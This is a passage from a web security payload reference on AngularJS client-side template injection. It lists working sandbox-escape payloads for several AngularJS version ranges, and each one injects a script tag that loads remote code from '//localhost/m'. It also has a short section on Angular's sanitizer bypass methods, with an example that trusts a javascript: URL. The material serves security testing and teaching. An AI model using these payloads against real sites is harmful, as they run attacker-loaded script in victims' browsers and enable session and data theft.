<div class="highlight"><pre><span></span><code><a id="__codelineno-28-1" name="__codelineno-28-1" href="#__codelineno-28-1"></a><span class="p">{{</span>
|
|
<a id="__codelineno-28-2" name="__codelineno-28-2" href="#__codelineno-28-2"></a><span class="w"> </span><span class="nx">a</span><span class="o">=</span><span class="s2">"a"</span><span class="p">[</span><span class="s2">"constructor"</span><span class="p">].</span><span class="nx">prototype</span><span class="p">;</span><span class="nx">a</span><span class="p">.</span><span class="nx">charAt</span><span class="o">=</span><span class="nx">a</span><span class="p">.</span><span class="nx">trim</span><span class="p">;</span>
|
|
<a id="__codelineno-28-3" name="__codelineno-28-3" href="#__codelineno-28-3"></a><span class="w"> </span><span class="nx">$eval</span><span class="p">(</span><span class="s1">'a",eval(`</span>
|
|
<a id="__codelineno-28-4" name="__codelineno-28-4" href="#__codelineno-28-4"></a><span class="s1"> var _=document\\x2ecreateElement(\'script\');</span>
|
|
<a id="__codelineno-28-5" name="__codelineno-28-5" href="#__codelineno-28-5"></a><span class="s1"> _\\x2esrc=\'//localhost/m\';</span>
|
|
<a id="__codelineno-28-6" name="__codelineno-28-6" href="#__codelineno-28-6"></a><span class="s1"> document\\x2ebody\\x2eappendChild(_);`),"'</span><span class="p">)</span>
|
|
<a id="__codelineno-28-7" name="__codelineno-28-7" href="#__codelineno-28-7"></a><span class="p">}}</span>
|
|
</code></pre></div>
|
|
<p>1.3.0 - 1.3.9 by Gareth Heyes (PortSwigger)</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-29-1" name="__codelineno-29-1" href="#__codelineno-29-1"></a><span class="p">{{</span>
|
|
<a id="__codelineno-29-2" name="__codelineno-29-2" href="#__codelineno-29-2"></a><span class="w"> </span><span class="nx">a</span><span class="o">=</span><span class="nx">toString</span><span class="p">().</span><span class="kr">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">;</span><span class="nx">a</span><span class="p">.</span><span class="nx">charAt</span><span class="o">=</span><span class="nx">a</span><span class="p">.</span><span class="nx">trim</span><span class="p">;</span>
|
|
<a id="__codelineno-29-3" name="__codelineno-29-3" href="#__codelineno-29-3"></a><span class="w"> </span><span class="nx">$eval</span><span class="p">(</span><span class="s1">'a,eval(`</span>
|
|
<a id="__codelineno-29-4" name="__codelineno-29-4" href="#__codelineno-29-4"></a><span class="s1"> var _=document\\x2ecreateElement(\'script\');</span>
|
|
<a id="__codelineno-29-5" name="__codelineno-29-5" href="#__codelineno-29-5"></a><span class="s1"> _\\x2esrc=\'//localhost/m\';</span>
|
|
<a id="__codelineno-29-6" name="__codelineno-29-6" href="#__codelineno-29-6"></a><span class="s1"> document\\x2ebody\\x2eappendChild(_);`),a'</span><span class="p">)</span>
|
|
<a id="__codelineno-29-7" name="__codelineno-29-7" href="#__codelineno-29-7"></a><span class="p">}}</span>
|
|
</code></pre></div>
|
|
<p>1.4.0 - 1.5.8 by Gareth Heyes (PortSwigger)</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-30-1" name="__codelineno-30-1" href="#__codelineno-30-1"></a><span class="p">{{</span>
|
|
<a id="__codelineno-30-2" name="__codelineno-30-2" href="#__codelineno-30-2"></a><span class="w"> </span><span class="nx">a</span><span class="o">=</span><span class="nx">toString</span><span class="p">().</span><span class="kr">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">;</span><span class="nx">a</span><span class="p">.</span><span class="nx">charAt</span><span class="o">=</span><span class="nx">a</span><span class="p">.</span><span class="nx">trim</span><span class="p">;</span>
|
|
<a id="__codelineno-30-3" name="__codelineno-30-3" href="#__codelineno-30-3"></a><span class="w"> </span><span class="nx">$eval</span><span class="p">(</span><span class="s1">'a,eval(`var _=document.createElement(\'script\');</span>
|
|
<a id="__codelineno-30-4" name="__codelineno-30-4" href="#__codelineno-30-4"></a><span class="s1"> _.src=\'//localhost/m\';document.body.appendChild(_);`),a'</span><span class="p">)</span>
|
|
<a id="__codelineno-30-5" name="__codelineno-30-5" href="#__codelineno-30-5"></a><span class="p">}}</span>
|
|
</code></pre></div>
|
|
<p>1.5.9 - 1.5.11 by Jan Horn (Cure53, now works at Google Project Zero)</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-31-1" name="__codelineno-31-1" href="#__codelineno-31-1"></a><span class="p">{{</span>
|
|
<a id="__codelineno-31-2" name="__codelineno-31-2" href="#__codelineno-31-2"></a><span class="w"> </span><span class="nx">c</span><span class="o">=</span><span class="s1">''</span><span class="p">.</span><span class="nx">sub</span><span class="p">.</span><span class="nx">call</span><span class="p">;</span><span class="nx">b</span><span class="o">=</span><span class="s1">''</span><span class="p">.</span><span class="nx">sub</span><span class="p">.</span><span class="nx">bind</span><span class="p">;</span><span class="nx">a</span><span class="o">=</span><span class="s1">''</span><span class="p">.</span><span class="nx">sub</span><span class="p">.</span><span class="nx">apply</span><span class="p">;</span><span class="nx">c</span><span class="p">.</span><span class="nx">$apply</span><span class="o">=</span><span class="nx">$apply</span><span class="p">;</span>
|
|
<a id="__codelineno-31-3" name="__codelineno-31-3" href="#__codelineno-31-3"></a><span class="w"> </span><span class="nx">c</span><span class="p">.</span><span class="nx">$eval</span><span class="o">=</span><span class="nx">b</span><span class="p">;</span><span class="nx">op</span><span class="o">=</span><span class="nx">$root</span><span class="p">.</span><span class="nx">$$phase</span><span class="p">;</span>
|
|
<a id="__codelineno-31-4" name="__codelineno-31-4" href="#__codelineno-31-4"></a><span class="w"> </span><span class="nx">$root</span><span class="p">.</span><span class="nx">$$phase</span><span class="o">=</span><span class="kc">null</span><span class="p">;</span><span class="nx">od</span><span class="o">=</span><span class="nx">$root</span><span class="p">.</span><span class="nx">$digest</span><span class="p">;</span><span class="nx">$root</span><span class="p">.</span><span class="nx">$digest</span><span class="o">=</span><span class="p">({}).</span><span class="nx">toString</span><span class="p">;</span>
|
|
<a id="__codelineno-31-5" name="__codelineno-31-5" href="#__codelineno-31-5"></a><span class="w"> </span><span class="nx">C</span><span class="o">=</span><span class="nx">c</span><span class="p">.</span><span class="nx">$apply</span><span class="p">(</span><span class="nx">c</span><span class="p">);</span><span class="nx">$root</span><span class="p">.</span><span class="nx">$$phase</span><span class="o">=</span><span class="nx">op</span><span class="p">;</span><span class="nx">$root</span><span class="p">.</span><span class="nx">$digest</span><span class="o">=</span><span class="nx">od</span><span class="p">;</span>
|
|
<a id="__codelineno-31-6" name="__codelineno-31-6" href="#__codelineno-31-6"></a><span class="w"> </span><span class="nx">B</span><span class="o">=</span><span class="nx">C</span><span class="p">(</span><span class="nx">b</span><span class="p">,</span><span class="nx">c</span><span class="p">,</span><span class="nx">b</span><span class="p">);</span><span class="nx">$evalAsync</span><span class="p">(</span><span class="s2">"astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?void0:(window.X=true,eval(`var _=document.createElement(\\'script\\');_.src=\\'//localhost/m\\';document.body.appendChild(_);`)))+';astNode.argument={type:'Identifier',name:'foo'};"</span><span class="p">);</span>
|
|
<a id="__codelineno-31-7" name="__codelineno-31-7" href="#__codelineno-31-7"></a><span class="w"> </span><span class="nx">m1</span><span class="o">=</span><span class="nx">B</span><span class="p">(</span><span class="nx">$$asyncQueue</span><span class="p">.</span><span class="nx">pop</span><span class="p">().</span><span class="nx">expression</span><span class="p">,</span><span class="kc">null</span><span class="p">,</span><span class="nx">$root</span><span class="p">);</span>
|
|
<a id="__codelineno-31-8" name="__codelineno-31-8" href="#__codelineno-31-8"></a><span class="w"> </span><span class="nx">m2</span><span class="o">=</span><span class="nx">B</span><span class="p">(</span><span class="nx">C</span><span class="p">,</span><span class="kc">null</span><span class="p">,</span><span class="nx">m1</span><span class="p">);[].</span><span class="nx">push</span><span class="p">.</span><span class="nx">apply</span><span class="o">=</span><span class="nx">m2</span><span class="p">;</span><span class="nx">a</span><span class="o">=</span><span class="s1">''</span><span class="p">.</span><span class="nx">sub</span><span class="p">;</span>
|
|
<a id="__codelineno-31-9" name="__codelineno-31-9" href="#__codelineno-31-9"></a><span class="w"> </span><span class="nx">$eval</span><span class="p">(</span><span class="s1">'a(b.c)'</span><span class="p">);[].</span><span class="nx">push</span><span class="p">.</span><span class="nx">apply</span><span class="o">=</span><span class="nx">a</span><span class="p">;</span>
|
|
<a id="__codelineno-31-10" name="__codelineno-31-10" href="#__codelineno-31-10"></a><span class="p">}}</span>
|
|
</code></pre></div>
|
|
<h2 id="automatic-sanitization">Automatic Sanitization</h2>
|
|
<blockquote>
|
|
<p>To systematically block XSS bugs, Angular treats all values as untrusted by default. When a value is inserted into the DOM from a template, via property, attribute, style, class binding, or interpolation, Angular sanitizes and escapes untrusted values.</p>
|
|
</blockquote>
|
|
<p>However, it is possible to mark a value as trusted and prevent the automatic sanitization with these methods:</p>
|
|
<ul>
|
|
<li>bypassSecurityTrustHtml</li>
|
|
<li>bypassSecurityTrustScript</li>
|
|
<li>bypassSecurityTrustStyle</li>
|
|
<li>bypassSecurityTrustUrl</li>
|
|
<li>bypassSecurityTrustResourceUrl</li>
|
|
</ul>
|
|
<p>Example of a component using the unsecure method <code>bypassSecurityTrustUrl</code>:</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-32-1" name="__codelineno-32-1" href="#__codelineno-32-1"></a><span class="k">import</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nx">Component</span><span class="p">,</span><span class="w"> </span><span class="nx">OnInit</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="kr">from</span><span class="w"> </span><span class="s1">'@angular/core'</span><span class="p">;</span>
|
|
<a id="__codelineno-32-2" name="__codelineno-32-2" href="#__codelineno-32-2"></a>
|
|
<a id="__codelineno-32-3" name="__codelineno-32-3" href="#__codelineno-32-3"></a><span class="err">@</span><span class="nx">Component</span><span class="p">({</span>
|
|
<a id="__codelineno-32-4" name="__codelineno-32-4" href="#__codelineno-32-4"></a><span class="w"> </span><span class="nx">selector</span><span class="o">:</span><span class="w"> </span><span class="s1">'my-app'</span><span class="p">,</span>
|
|
<a id="__codelineno-32-5" name="__codelineno-32-5" href="#__codelineno-32-5"></a><span class="w"> </span><span class="nx">template</span><span class="o">:</span><span class="w"> </span><span class="sb">`</span>
|
|
<a id="__codelineno-32-6" name="__codelineno-32-6" href="#__codelineno-32-6"></a><span class="sb"> <h4>An untrusted URL:</h4></span>
|
|
<a id="__codelineno-32-7" name="__codelineno-32-7" href="#__codelineno-32-7"></a><span class="sb"> <p><a class="e2e-dangerous-url" [href]="dangerousUrl">Click me</a></p></span>
|
|
<a id="__codelineno-32-8" name="__codelineno-32-8" href="#__codelineno-32-8"></a><span class="sb"> <h4>A trusted URL:</h4></span>
|
|
<a id="__codelineno-32-9" name="__codelineno-32-9" href="#__codelineno-32-9"></a><span class="sb"> <p><a class="e2e-trusted-url" [href]="trustedUrl">Click me</a></p></span>
|
|
<a id="__codelineno-32-10" name="__codelineno-32-10" href="#__codelineno-32-10"></a><span class="sb"> `</span><span class="p">,</span>
|
|
<a id="__codelineno-32-11" name="__codelineno-32-11" href="#__codelineno-32-11"></a><span class="p">})</span>
|
|
<a id="__codelineno-32-12" name="__codelineno-32-12" href="#__codelineno-32-12"></a><span class="k">export</span><span class="w"> </span><span class="kd">class</span><span class="w"> </span><span class="nx">App</span><span class="w"> </span><span class="p">{</span>
|
|
<a id="__codelineno-32-13" name="__codelineno-32-13" href="#__codelineno-32-13"></a><span class="w"> </span><span class="kr">constructor</span><span class="p">(</span><span class="kr">private</span><span class="w"> </span><span class="nx">sanitizer</span><span class="o">:</span><span class="w"> </span><span class="nx">DomSanitizer</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
|
|
<a id="__codelineno-32-14" name="__codelineno-32-14" href="#__codelineno-32-14"></a><span class="w"> </span><span class="k">this</span><span class="p">.</span><span class="nx">dangerousUrl</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'javascript:alert("Hi there")'</span><span class="p">;</span>
|
|
<a id="__codelineno-32-15" name="__codelineno-32-15" href="#__codelineno-32-15"></a><span class="w"> </span><span class="k">this</span><span class="p">.</span><span class="nx">trustedUrl</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">sanitizer</span><span class="p">.</span><span class="nx">bypassSecurityTrustUrl</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="nx">dangerousUrl</span><span class="p">);</span>
|
|
<a id="__codelineno-32-16" name="__codelineno-32-16" href="#__codelineno-32-16"></a><span class="w"> </span><span class="p">}</span>
|
|
<a id="__codelineno-32-17" name="__codelineno-32-17" href="#__codelineno-32-17"></a><span class="p">}</span>
|
|
</code></pre></div>
|
|
<p><img alt="XSS" src="https://angular.io/generated/images/guide/security/bypass-security-component.png" /></p>
|
|
<p>When doing a code review, you want to make sure that no user input is being trusted since it will introduce a security vulnerability in the application.</p>
|
|
<h2 id="references">References</h2>
|
|
<ul>
|
|
<li><a href="https://angular.io/guide/security">Angular Security - May 16, 2023</a></li>
|
|
<li><a href="https://matanber.com/blog/4-char-csti">Bidding Like a Billionaire - Stealing NFTs With 4-Char CSTIs - Matan Berson (@MtnBer) - July 11, 2024</a></li>
|
|
<li><a href="http://web.archive.org/web/20181209041100/https://ardern.io/2018/12/07/angularjs-bxss/">Blind XSS AngularJS Payloads - Lewis Ardern - December 7, 2018</a></li>
|
|
<li><a href="https://medium.com/@swarnakishore/angular-safe-pipe-implementation-to-bypass-domsanitizer-stripping-out-content-c1bf0f1cc36b">Bypass DomSanitizer - Swarna (@swarnakishore) - August 11, 2017</a></li>
|
|
<li><a href="https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs">XSS without HTML - CSTI with Angular JS - Gareth Heyes (@garethheyes) - January 27, 2016</a></li>
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